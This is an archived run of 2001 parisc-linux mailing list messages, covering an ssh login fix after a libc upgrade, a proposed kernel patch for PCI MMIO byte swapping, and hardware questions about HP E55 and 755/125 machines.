Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0111170731300.4966-100000@lefou.zayda.com>
References: <20011116232524.S391@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620771 30190 80.91.229.3 (22 Nov 2014 01:46:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:11 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 17 00:32:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from lefou.zayda.com (unknown [204.99.158.177])
	by dsl2.external.hp.com (Postfix) with ESMTP id 129FD482C
	for <parisc-linux@parisc-linux.org>; Sat, 17 Nov 2001 00:32:56 -0700 (MST)
Original-Received: from localhost (sonny@localhost)
	by lefou.zayda.com (8.9.3/8.9.3) with ESMTP id HAA09350;
	Sat, 17 Nov 2001 07:32:54 GMT
X-X-Sender: <sonny@lefou.zayda.com>
In-Reply-To: <20011116232524.S391@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13107

Wow, thanks.  That did the trick.
Sonny

On Fri, 16 Nov 2001, Randolph Chung wrote:

> > I upgraded to the latest version of libpam0g, libpam-runtime, and
> > libpam-modules, to no avail.  Needless to say, I cannot log in.
> >
> > I suspect that the libc6 upgrage goofed me up somehow.  Does anybody have
> > an idea, or place to start debugging?
>
> correct. the way to fix this is to run, as root:
>
> /etc/init.d/ssh restart
>
> randolph
>




From - Thu Nov 08 21:20:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] more on pci mmio swapping
Date: Fri, 16 Nov 2001 23:48:59 -0800
Lines: 140
Approved: news@gmane.org
Message-ID: <20011116234859.U391@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620771 30194 80.91.229.3 (22 Nov 2014 01:46:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:11 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 17 00:49:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 695B7482C
	for <parisc-linux@parisc-linux.org>; Sat, 17 Nov 2001 00:49:14 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id wzjajaaa for parisc-linux@parisc-linux.org; Sat, 17 Nov 2001 00:44:13 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 1650Dj-0003Jv-00; Fri, 16 Nov 2001 23:48:59 -0800
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13108

The story so far...

1. pci is mostly little-endian
2. most of the other linux big-endian architectures define the 16-bit/32-bit 
read/write operations to do cpu_to_le byte swapping
3. parisc (and s390) do not currently do this

I've looked at the part in the Dino ERS again that willy pointed out. As
far as I can tell it's not talking about byte swapping but more about
address invariance. In fact the ERS specifically says that if the host
is running in BE mode, the driver is responsible for byte swapping.

I've looked at a sample of pci drivers that we are using for parisc
right now. In the case of the sym53c8xx driver, there is hppa specific
code to do cpu_to_le translation before doing writes.

So, given these things, I'm inclined to say that our current
implementation is not correct. Grant concurs, though it'd be great to
have folks like Alan (Cox) confirm this :)

The attached patch is my proposed changes. I've tested it on a c3000
with tulip/sym53c8xx and it works. I've done some digging into other
common drivers to see if anything else will break. So far I haven't come
up with anything, but Grant thinks acenic may break....

with this patch, the usb controller on suckyio is being detected
correctly (at least more correctly than before), though it's still 
not quite working yet.

comments on this are most welcome. I hope to check this in some time
next week.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^


Index: arch/parisc/lib/io.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/lib/io.c,v
retrieving revision 1.6
diff -u -r1.6 io.c
--- arch/parisc/lib/io.c	2001/11/07 23:51:31	1.6
+++ arch/parisc/lib/io.c	2001/11/15 08:00:31
@@ -24,7 +24,7 @@
 		count--;
 	}
 	while (count > 3) {
-		writel(*(u32 *)src, dest);
+		__raw_writel(*(u32 *)src, dest);
 		(unsigned long) src += 4;
 		dest += 4;
 		count -= 4;
@@ -68,14 +68,14 @@
 	}
 
 	if (src & 2) {
-		*(u16 *)dest = readw(src);
+		*(u16 *)dest = __raw_readw(src);
 		((u16 *)src)++;
 		((u16 *)dest)++;
 		count-=2;
 	}
 
 	while (count > 3) {
-		*(u32 *)dest = readl(src);
+		*(u32 *)dest = __raw_readl(src);
 		dest += 4;
 		src += 4;
 		count -= 4;
@@ -83,7 +83,7 @@
 
  shortcopy:
 	while (count > 1) {
-		*(u16 *)dest = readw(src);
+		*(u16 *)dest = __raw_readw(src);
 		((u16 *)src)++;
 		((u16 *)dest)++;
 		count-=2;
@@ -109,7 +109,7 @@
 		count--;
 	}
 	while (count > 3) {
-		writel(fill32, dest);
+		__raw_writel(fill32, dest);
 		dest += 4;
 		count -= 4;
 	}
Index: drivers/scsi/sym53c8xx_defs.h
===================================================================
RCS file: /var/cvs/linux/drivers/scsi/sym53c8xx_defs.h,v
retrieving revision 1.11
diff -u -r1.11 sym53c8xx_defs.h
--- drivers/scsi/sym53c8xx_defs.h	2001/08/01 15:26:34	1.11
+++ drivers/scsi/sym53c8xx_defs.h	2001/11/15 08:00:35
@@ -406,11 +406,11 @@
 #define	readb_raw	readb
 #define	writeb_raw	writeb
 
-#if defined(__hppa__) && !defined(SCSI_NCR_BIG_ENDIAN)
-#define	readw_l2b(a)	le16_to_cpu(readw(a))
-#define	readl_l2b(a)	le32_to_cpu(readl(a))
-#define	writew_b2l(v,a)	writew(cpu_to_le16(v),a)
-#define	writel_b2l(v,a)	writel(cpu_to_le32(v),a)
+#if defined(SCSI_NCR_BIG_ENDIAN)
+#define	readw_l2b	__raw_readw
+#define	readl_l2b	__raw_readl
+#define	writew_b2l	__raw_writew
+#define	writel_b2l	__raw_writel
 #else	/* Other bid-endian */
 #define	readw_l2b	readw
 #define	readl_l2b	readl
Index: include/asm-parisc/io.h
===================================================================
RCS file: /var/cvs/linux/include/asm-parisc/io.h,v
retrieving revision 1.25
diff -u -r1.25 io.h
--- include/asm-parisc/io.h	2001/11/03 23:06:00	1.25
+++ include/asm-parisc/io.h	2001/11/15 08:00:36
@@ -147,11 +147,11 @@
 #define writel(b,addr) (*(volatile unsigned int *) (addr) = (b))
 #else /* !USE_HPPA_IOREMAP */
 #define readb(addr) __raw_readb((unsigned long)addr)
-#define readw(addr) __raw_readw((unsigned long)addr)
-#define readl(addr) __raw_readl((unsigned long)addr)
+#define readw(addr) le16_to_cpu(__raw_readw((unsigned long)addr))
+#define readl(addr) le32_to_cpu(__raw_readl((unsigned long)addr))
 #define writeb(b,addr) __raw_writeb(b,(unsigned long)addr)
-#define writew(b,addr) __raw_writew(b,(unsigned long)addr)
-#define writel(b,addr) __raw_writel(b,(unsigned long)addr)
+#define writew(b,addr) __raw_writew(cpu_to_le16(b),(unsigned long)addr)
+#define writel(b,addr) __raw_writel(cpu_to_le32(b),(unsigned long)addr)
 #endif /* !USE_HPPA_IOREMAP */
 
 extern void memcpy_fromio(void *dest, unsigned long src, int count);



From - Thu Nov 08 21:20:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pam/ssh seems to be whacked
Date: Sat, 17 Nov 2001 00:53:34 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <200111170753.AAA27428@puffin.external.hp.com>
References: <sonny@aspersion.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620772 30199 80.91.229.3 (22 Nov 2014 01:46:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:12 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Sonny Cook <sonny@aspersion.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 17 00:58:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F0D8482C
	for <parisc-linux@parisc-linux.org>; Sat, 17 Nov 2001 00:58:22 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA27428;
	Sat, 17 Nov 2001 00:53:34 -0700
In-Reply-To: Message from Sonny Cook <sonny@aspersion.org> 
   of "Sat, 17 Nov 2001 07:23:35 GMT." <Pine.LNX.4.33.0111170713360.4966-100000@lefou.zayda.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13109

Sonny Cook wrote:
> Hi,
> When attempting to install gkrellm on my b132l, apt-get upgraded a number
> of other packaged including (the suspect) libc6-2.2.4-6.  Now when I
> attempt to ssh into the box, I get the following error in my logs:

hmmm..I didn't get those errors...but after apt-get upgrade I had
to manually "/etc/init.d/ssh restart" in order to login via ssh.

grant



From - Thu Nov 08 21:20:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Memory expansion for E55 - PS/2 SIMMS ?
Date: Sat, 17 Nov 2001 13:55:36 +0100
Organization: private
Lines: 26
Approved: news@gmane.org
Message-ID: <3BF65E48.EE40F6F5@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620772 30204 80.91.229.3 (22 Nov 2014 01:46:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:12 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 17 05:55:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep12-int.chello.at (viefep12-int.chello.at [213.46.255.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A69D482C
	for <parisc-linux@lists.parisc-linux.org>; Sat, 17 Nov 2001 05:55:39 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep12-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20011117125536.ZCVT1239.viefep12-int.chello.at@gmx.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Sat, 17 Nov 2001 13:55:36 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13110

Hello HP PARISC specialists !

My E55 server (9000/856) is equipped with 64MB RAM in 2
slots. 4 slots are free (six in sum).

The modules looks like PS/2 SIMMS (72 pin) !

Is it possible to update them with default PC compatible
PS/2 SIMMs ?
With/without parity ?
Are they compatible ?

For using Linux on it (I hope this will be possible one day ....)
I would like to have more than 64MB !!

With friendly regards
	Christoph 


-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:20:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: rsync for CVS repository
Date: Sun, 18 Nov 2001 15:43:45 +0100 (CET)
Lines: 19
Approved: news@gmane.org
Message-ID: <1006094625.3bf7c921363b6@webmail.tiscalinet.be>
References: <3BF7C6E2.D6B35170@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620772 30209 80.91.229.3 (22 Nov 2014 01:46:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: bame@riverrock.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 18 07:44:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id AEED0482C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 Nov 2001 07:44:13 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 165TAf-000080-00; Sun, 18 Nov 2001 15:43:45 +0100
In-Reply-To: <3BF7C6E2.D6B35170@freebel.net>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 212.35.2.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13111

Hi Paul,

One great stuff which makes me prefer rsync versus cvs is that rsync allow me to
define easily RSYNC_PROXY (afaik cvs did not) and in my working environement
(behing a fw configure by neanderthal admin) it is a great help.

But I also understand well your position.

	Joel

Quoting Soete Joel <joel.soete@freebel.net>:

> http://lists.parisc-linux.org/pipermail/parisc-linux/2001-November/014545.html


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:20:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu.ml.to>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 755/125 problems
Date: Sun, 18 Nov 2001 11:11:01 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <a05100316b81d8d1c41f3@[129.64.46.46]>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Trace: ger.gmane.org 1416620773 30213 80.91.229.3 (22 Nov 2014 01:46:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 18 09:12:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hermes.cs.brandeis.edu (hermes.cs.brandeis.edu [129.64.2.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43920492D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 Nov 2001 09:12:19 -0700 (MST)
Original-Received: from [129.64.46.46] ([129.64.46.83])
	by hermes.cs.brandeis.edu (8.11.6/8.9.3) with ESMTP id fAIGC4k28485
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 Nov 2001 11:12:04 -0500
X-Sender: aaronm@mail.cs.brandeis.edu (Unverified)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13112

So I finally have a viable system in the form of a 755/125(384mb ram, 
internal FWscsi drive and 2 atm cards).  I can get it to boot under 
the HPUX still installed on the HD, and it seems to work(not root 
pw).  I tried booting it off the internal CD with the 0.92 disc and 
it seemed to freeze at the 'Branching to kernel address .....".
Three questions:
Is this common or an oddity with my system?
It currently only allows a net boot off of the ATM cards, either the 
EISA or the slider.  How can I force it to use the onboard 10 base 
T(AUI) or even 10 Base 2?
The other might be slightly off topic, but is there an easy way to 
reset the root pw on the HPUX install?(I believe I have HPUX install 
media somewhere but I'm probably wrong.)
Aaron
-- 
_______________________________________________________
Aaron Macks(aaronm@cs.brandeis.edu)
My sheep has seven gall bladders, that makes me the King of the Universe!



From - Thu Nov 08 21:20:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu.ml.to>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 755/125 problems
Date: Sun, 18 Nov 2001 14:34:30 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <a05100318b81dbd449750@[129.64.46.46]>
References: <a05100316b81d8d1c41f3@[129.64.46.46]>
 <1006107893.4898.5.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620773 30217 80.91.229.3 (22 Nov 2014 01:46:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 18 16:19:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from server3.thinmail.com (server3.thinmail.com [64.39.29.150])
	by dsl2.external.hp.com (Postfix) with ESMTP id E15CA611F
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 Nov 2001 16:19:37 -0700 (MST)
Original-Received: (from root@localhost)
	by server3.thinmail.com (8.9.3/8.9.3) id OAA23021
	for parisc-linux@lists.parisc-linux.org; Sun, 18 Nov 2001 14:12:02 -0600
Original-Received: from hermes.cs.brandeis.edu (IDENT:root@hermes.cs.brandeis.edu [129.64.2.5])
	by server3.thinmail.com (8.9.3/8.9.3) with ESMTP id OAA22990
	for <parisc-linux@lists.parisc-linux.org.ml.to>; Sun, 18 Nov 2001 14:11:07 -0600
Original-Received: from [129.64.46.46] ([129.64.46.83])
	by hermes.cs.brandeis.edu (8.11.6/8.9.3) with ESMTP id fAIJxok01210
	for <parisc-linux@lists.parisc-linux.org.ml.to>; Sun, 18 Nov 2001 14:59:50 -0500
X-Sender: aaronm@mail.cs.brandeis.edu (Unverified)
In-Reply-To: <1006107893.4898.5.camel@beavis>
X-Thinmail: Processed by Thinmail build 0046, Revision: 1.139 , id 22997
X-Thinmail-Loop: 1e74e1-334193dbf59f2fd6
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13113

Ok, so the Root pw of HPUX has been fixed, thanks.  I was able to 
unconfigure the ATM card and remove it from the eisa cage, but the 
system still seems not to see the 10baseT AUI adaptor, no lights are 
lit, not even the power one.
As for SCSI, I have HPUX on a FW, but a N for Linux.  Will it be a 
problem to have the FW drive installed, or Linux just ignore it?
Aaron

-- 
_______________________________________________________
Aaron Macks(aaronm@cs.brandeis.edu)
My sheep has seven gall bladders, that makes me the King of the Universe!




From - Thu Nov 08 21:20:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 755/125 problems
Date: Mon, 19 Nov 2001 09:30:31 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20011119093030.C10517@linuxcare.com>
References: <a05100316b81d8d1c41f3@[129.64.46.46]> <1006107893.4898.5.camel@beavis> <a05100318b81dbd449750@[129.64.46.46]>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620773 30220 80.91.229.3 (22 Nov 2014 01:46:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Aaron Macks <aaronm@cs.brandeis.edu.ml.to>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 02:28:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id D591A611C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 02:28:39 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 630C7B00C; Mon, 19 Nov 2001 09:30:31 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <a05100318b81dbd449750@[129.64.46.46]>; from aaronm@cs.brandeis.edu.ml.to on Sun, Nov 18, 2001 at 02:34:30PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13114

On Sun, Nov 18, 2001 at 02:34:30PM -0500, Aaron Macks wrote:
> As for SCSI, I have HPUX on a FW, but a N for Linux.  Will it be a 
> problem to have the FW drive installed, or Linux just ignore it?

Should be ok, just be very sure that you know which disk is which
before you start partitioning.

Richard




From - Thu Nov 08 21:20:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: rsync for CVS repository
Date: Mon, 19 Nov 2001 10:50:54 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20011119105054.B28328@lug-owl.de>
References: <3BF7C6E2.D6B35170@freebel.net> <1006094625.3bf7c921363b6@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620774 30222 80.91.229.3 (22 Nov 2014 01:46:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 02:51:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
